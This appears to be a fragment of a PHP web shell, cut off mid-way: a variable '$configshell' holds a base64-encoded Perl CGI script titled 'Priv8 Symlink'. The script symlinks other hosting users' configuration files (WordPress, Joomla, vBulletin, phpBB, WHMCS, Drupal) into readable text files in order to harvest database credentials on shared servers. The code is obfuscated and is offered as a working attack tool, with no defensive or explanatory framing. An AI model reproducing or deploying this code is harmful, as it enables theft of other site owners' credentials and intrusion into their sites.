$configshell = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQpwcmludCAiQ29udGVudC10eXBlOiB0ZXh0L2h0bWxcblxuIjsNCnByaW50JzwhRE9DVFlQRSBodG1sIFBVQkxJQyAiLS8vVzNDLy9EVEQgWEhUTUwgMS4wIFRyYW5zaXRpb25hbC8vRU4iICJodHRwOi8vd3d3LnczLm9yZy9UUi94aHRtbDEvRFREL3hodG1sMS10cmFuc2l0aW9uYWwuZHRkIj4NCjxodG1sIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIj4NCjxoZWFkPg0KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1MYW5ndWFnZSIgY29udGVudD0iZW4tdXMiIC8+DQo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD11dGYtOCIgLz4NCjx0aXRsZT5Qcml2OCBTeW1saW5rPC90aXRsZT4NCjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+DQoubmV3U3R5bGUxIHsNCiBmb250LWZhbWlseTogVGFob21hOw0KIGZvbnQtc2l6ZTogeC1zbWFsbDsNCiBmb250LXdlaWdodDogYm9sZDsNCiBjb2xvcjogIzAwRkZGRjsNCiAgdGV4dC1hbGlnbjogY2VudGVyOw0KfQ0KPC9zdHlsZT4NCjwvaGVhZD4NCic7DQpzdWIgbGlsew0KICAgICgkdXNlcikgPSBAXzsNCiRtc3IgPSBxeHtwd2R9Ow0KJGtvbGE9JG1zci4iLyIuJHVzZXI7DQoka29sYT1+cy9cbi8vZzsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC92Yi9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nfn52QnVsbGV0aW4xLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLid+fnZCdWxsZXRpbjIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJ35+dkJ1bGxldGluMy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jYy9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nfn52QnVsbGV0aW40LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZy5waHAnLCRrb2xhLid+flBocGJiMS50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nfn5QaHBiYjIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd3AtY29uZmlnLnBocCcsJGtvbGEuJ35+V29yZHByZXNzMS50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ibG9nL3dwLWNvbmZpZy5waHAnLCRrb2xhLid+fldvcmRwcmVzczIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid+fkpvb21sYTEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmxvZy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ35+Sm9vbWxhMi50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9qb29tbGEvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid+fkpvb21sYTMudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd2htL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nfn5XaG0xLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobWMvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid+fldobTIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc3VwcG9ydC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ35+V2htMy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbGllbnQvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid+fldobTQudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmlsbGluZ3MvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid+fldobTUudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmlsbGluZy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ35+V2htNi50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbGllbnRzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nfn5XaG03LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobWNzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nfn5XaG04LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL29yZGVyL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nfn5XaG05LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2FkbWluL2NvbmYucGhwJywka29sYS4nfn41LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2FkbWluL2NvbmZpZy5waHAnLCRrb2xhLid+fjQudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY29uZl9nbG9iYWwucGhwJywka29sYS4nfn5pbnZpc2lvLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGUvZGIucGhwJywka29sYS4nfn43LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2Nvbm5lY3QucGhwJywka29sYS4nfn44LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL21rX2NvbmYucGhwJywka29sYS4nfn5tay1wb3J0YWxlMS50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2NvbmZpZy5waHAnLCRrb2xhLid+fjEyLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3NldHRpbmdzLnBocCcsJGtvbGEuJ35+U21mLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGVzL2Z1bmN0aW9ucy5waHAnLCRrb2xhLid+fnBocGJiMy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2RiLnBocCcsJGtvbGEuJ35+aW5maW5pdHkudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc2l0ZXMvZGVmYXVsdC9zZXR0aW5ncy5waHAnLCRrb2xhLid+fkRydXBhbC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9zaXRlcy9kZWZhdWx0L3NldHRpbmdzLnBocCcsJGtvbGEuJ35+RHJ1cGFsMS50eHQnKTsNCnN5bWxpbmsoJy9ob21lMi8nLiR1c2VyLicvcHVibGljX2h0bWwvdmIvaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJ35+dkJ1bGxldGluMS50eHQnKTsNCnN5bWxpbmsoJy9ob21lMi8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJ35+dkJ1bGxldGluMi50eHQnKTsNCnN5bWxpbmsoJy9ob21lMi8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJ35+dkJ1bGxldGluMy50eHQnKTsNCnN5bWxpbmsoJy9ob21lMi8nLiR1c2VyLicvcHVibGljX2h0bWwvY2MvaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJ35+dkJ1bGxldGluNC50eHQnKTsNCnN5bWxpbmsoJy9ob21lMi8nLiR1c2VyLicvcHVibGljX2h0bWwvY29uZmlnLnBocCcsJGtvbGEuJ35+UGhwYmIxLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nfn5QaHBiYjIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL3dwLWNvbmZpZy5waHAnLCRrb2xhLid+fldvcmRwcmVzczEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL2Jsb2cvd3AtY29uZmlnLnBocCcsJGtvbGEuJ35+V29yZHByZXNzMi50eHQnKTsNCnN5bWxpbmsoJy9ob21lMi8nLiR1c2VyLicvcHVibGljX2h0bWwvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid+fkpvb21sYTEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL2Jsb2cvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid+fkpvb21sYTIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL2pvb21sYS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ35+Sm9vbWxhMy50eHQnKTsNCnN5bWxpbmsoJy9ob21lMi8nLiR1c2VyLicvcHVibGljX2h0bWwvd2htL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nfn5XaG0xLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG1jL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nfn5XaG0yLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nfn5XaG0zLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbGllbnQvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid+fldobTQudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL2JpbGxpbmdzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nfn5XaG01LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9iaWxsaW5nL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nfn5XaG02LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbGllbnRzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nfn5XaG03LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG1jcy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ35+V2htOC50eHQnKTsNCnN5bWxpbmsoJy9ob21lMi8nLiR1c2VyLicvcHVibGljX2h0bWwvb3JkZXIvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid+fldobTkudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL2FkbWluL2NvbmYucGhwJywka29sYS4nfn41LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25maWcucGhwJywka29sYS4nfn40LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25mX2dsb2JhbC5waHAnLCRrb2xhLid+fmludmlzaW8udHh0Jyk7DQpzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGUvZGIucGhwJywka29sYS4nfn43LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25uZWN0LnBocCcsJGtvbGEuJ35+OC50eHQnKTsNCnN5bWxpbmsoJy9ob21lMi8nLiR1c2VyLicvcHVibGljX2h0bWwvbWtfY29uZi5waHAnLCRrb2xhLid+fm1rLXBvcnRhbGUxLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2NvbmZpZy5waHAnLCRrb2xhLid+fjEyLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zZXR0aW5ncy5waHAnLCRrb2xhLid+flNtZi50eHQnKTsNCnN5bWxpbmsoJy9ob21lMi8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZXMvZnVuY3Rpb25zLnBocCcsJGtvbGEuJ35+cGhwYmIzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2RiLnBocCcsJGtvbGEuJ35+aW5maW5pdHkudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL3NpdGVzL2RlZmF1bHQvc2V0dGluZ3MucGhwJywka29sYS4nfn5EcnVwYWwudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3NpdGVzL2RlZmF1bHQvc2V0dGluZ3MucGhwJywka29sYS4nfn5EcnVwYWwxLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC92Yi9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nfn52QnVsbGV0aW4xLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nfn52QnVsbGV0aW4yLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nfn52QnVsbGV0aW4zLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jYy9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nfn52QnVsbGV0aW40LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWcucGhwJywka29sYS4nfn5QaHBiYjEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL2ZvcnVtL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLid+flBocGJiMi50eHQnKTsNCnN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvd3AtY29uZmlnLnBocCcsJGtvbGEuJ35+V29yZHByZXNzMS50eHQnKTsNCnN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvYmxvZy93cC1jb25maWcucGhwJywka29sYS4nfn5Xb3JkcHJlc3MyLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ35+Sm9vbWxhMS50eHQnKTsNCnN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvYmxvZy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ35+Sm9vbWxhMi50eHQnKTsNCnN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvam9vbWxhL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nfn5Kb29tbGEzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG0vY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid+fldobTEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobWMvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid+fldobTIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL3N1cHBvcnQvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid+fldobTMudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL2NsaWVudC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ35+V2htNC50eHQnKTsNCnN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvYmlsbGluZ3MvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid+fldobTUudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL2JpbGxpbmcvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid+fldobTYudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL2NsaWVudHMvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid+fldobTcudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobWNzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nfn5XaG04LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9vcmRlci9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ35+V2htOS50eHQnKTsNCnN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvYWRtaW4vY29uZi5waHAnLCRrb2xhLid+fjUudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL2FkbWluL2NvbmZpZy5waHAnLCRrb2xhLid+fjQudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZfZ2xvYmFsLnBocCcsJGtvbGEuJ35+aW52aXNpby50eHQnKTsNCnN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZS9kYi5waHAnLCRrb2xhLid+fjcudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL2Nvbm5lY3QucGhwJywka29sYS4nfn44LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ta19jb25mLnBocCcsJGtvbGEuJ35+bWstcG9ydGFsZTEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGUvY29uZmlnLnBocCcsJGtvbGEuJ35+MTIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL3NldHRpbmdzLnBocCcsJGtvbGEuJ35+U21mLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9mdW5jdGlvbnMucGhwJywka29sYS4nfn5waHBiYjMudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGUvZGIucGhwJywka29sYS4nfn5pbmZpbml0eS50eHQnKTsNCnN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvc2l0ZXMvZGVmYXVsdC9zZXR0aW5ncy5waHAnLCRrb2xhLid+fkRydXBhbC50eHQnKTsNCnN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvc2l0ZXMvZGVmYXVsdC9zZXR0aW5ncy5waHAnLCRrb2xhLid+fkRydXBhbDEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTQvJy4kdXNlci4nL3B1YmxpY19odG1sL3ZiL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLid+fnZCdWxsZXRpbjEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTQvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLid+fnZCdWxsZXRpbjIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTQvJy4kdXNlci4nL3B1YmxpY19odG1sL2ZvcnVtL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLid+fnZCdWxsZXRpbjMudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTQvJy4kdXNlci4nL3B1YmxpY19odG1sL2NjL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLid+fnZCdWxsZXRpbjQudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTQvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZy5waHAnLCRrb2xhLid+flBocGJiMS50eHQnKTsNCnN5bWxpbmsoJy9ob21lNC8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJ35+UGhwYmIyLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU0LycuJHVzZXIuJy9wdWJsaWNfaHRtbC93cC1jb25maWcucGhwJywka29sYS4nfn5Xb3JkcHJlc3MxLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU0LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ibG9nL3dwLWNvbmZpZy5waHAnLCRrb2xhLid+fldvcmRwcmVzczIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTQvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nfn5Kb29tbGExLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU0LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ibG9nL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nfn5Kb29tbGEyLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU0LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9qb29tbGEvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid+fkpvb21sYTMudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTQvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ35+V2htMS50eHQnKTsNCnN5bWxpbmsoJy9ob21lNC8nLiR1c2VyLicvcHVibGljX2h0bWwvd2htYy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ35+V2htMi50eHQnKTsNCnN5bWxpbmsoJy9ob21lNC8nLiR1c2VyLicvcHVibGljX2h0bWwvc3VwcG9ydC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ35+V2htMy50eHQnKTsNCnN5bWxpbmsoJy9ob21lNC8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nfn5XaG00LnR4dCcpOw0Kc3ltbGluaygnL2hvbWU0LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9iaWxsaW5ncy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ35+V2htNS50eHQnKTsNCnN5bWxpbmsoJy9ob21lNC8nLiR1c2VyLicvcHVibGljX2h0bWwvYmlsbGluZy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ35+V2htNi50eHQnKTsNCnN5bWxpbmsoJy9ob21lNC8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50cy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ35+V2htNy50eHQnKTsNCnN5bWxpbmsoJy9ob21lNC8nLiR1c2VyLicvcHVibGljX2h0bWwvd2htY3MvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid+fldobTgudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTQvJy4kdXNlci4nL3B1YmxpY19odG1sL29yZGVyL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nfn5XaG05LnR4dCcpOw0Kc3ltbGluaygnL2hvbWU0LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25mLnBocCcsJGtvbGEuJ35+NS50eHQnKTsNCnN5bWxpbmsoJy9ob21lNC8nLiR1c2VyLicvcHVibGljX2h0bWwvYWRtaW4vY29uZmlnLnBocCcsJGtvbGEuJ35+NC50eHQnKTsNCnN5bWxpbmsoJy9ob21lNC8nLiR1c2VyLicvcHVibGljX2h0bWwvY29uZl9nbG9iYWwucGhwJywka29sYS4nfn5pbnZpc2lvLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU0LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2RiLnBocCcsJGtvbGEuJ35+Ny50eHQnKTsNCnN5bWxpbmsoJy9ob21lNC8nLiR1c2VyLicvcHVibGljX2h0bWwvY29ubmVjdC5waHAnLCRrb2xhLid+fjgudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTQvJy4kdXNlci4nL3B1YmxpY19odG1sL21rX2NvbmYucGhwJywka29sYS4nfn5tay1wb3J0YWxlMS50eHQnKTsNCnN5bWxpbmsoJy9ob21lNC8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZS9jb25maWcucGhwJywka29sYS4nfn4xMi50eHQnKTsNCnN5bWxpbmsoJy9ob21lNC8nLiR1c2VyLicvcHVibGljX2h0bWwvc2V0dGluZ3MucGhwJywka29sYS4nfn5TbWYudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTQvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGVzL2Z1bmN0aW9ucy5waHAnLCRrb2xhLid+fnBocGJiMy50eHQnKTsNCnN5bWxpbmsoJy9ob21lNC8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZS9kYi5waHAnLCRrb2xhLid+fmluZmluaXR5LnR4dCcpOw0Kc3ltbGluaygnL2hvbWU0LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zaXRlcy9kZWZhdWx0L3NldHRpbmdzLnBocCcsJGtvbGEuJ35+RHJ1cGFsLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU0LycuJHVzZXIuJy9zaXRlcy9kZWZhdWx0L3NldHRpbmdzLnBocCcsJGtvbGEuJ35+RHJ1cGFsMS50eHQnKTsNCnN5bWxpbmsoJy9ob21lNS8nLiR1c2VyLicvcHVibGljX2h0bWwvdmIvaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJ35+dkJ1bGxldGluMS50eHQnKTsNCnN5bWxpbmsoJy9ob21lNS8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJ35+dkJ1bGxldGluMi50eHQnKTsNCnN5bWxpbmsoJy9ob21lNS8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJ35+dkJ1bGxldGluMy50eHQnKTsNCnN5bWxpbmsoJy9ob21lNS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2MvaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJ35+dkJ1bGxldGluNC50eHQnKTsNCnN5bWxpbmsoJy9ob21lNS8nLiR1c2VyLicvcHVibGljX2h0bWwvY29uZmlnLnBocCcsJGtvbGEuJ35+UGhwYmIxLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU1LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nfn5QaHBiYjIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dwLWNvbmZpZy5waHAnLCRrb2xhLid+fldvcmRwcmVzczEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTUvJy4kdXNlci4nL3B1YmxpY19odG1sL2Jsb2cvd3AtY29uZmlnLnBocCcsJGtvbGEuJ35+V29yZHByZXNzMi50eHQnKTsNCnN5bWxpbmsoJy9ob21lNS8nLiR1c2VyLicvcHVibGljX2h0bWwvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid+fkpvb21sYTEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTUvJy4kdXNlci4nL3B1YmxpY19odG1sL2Jsb2cv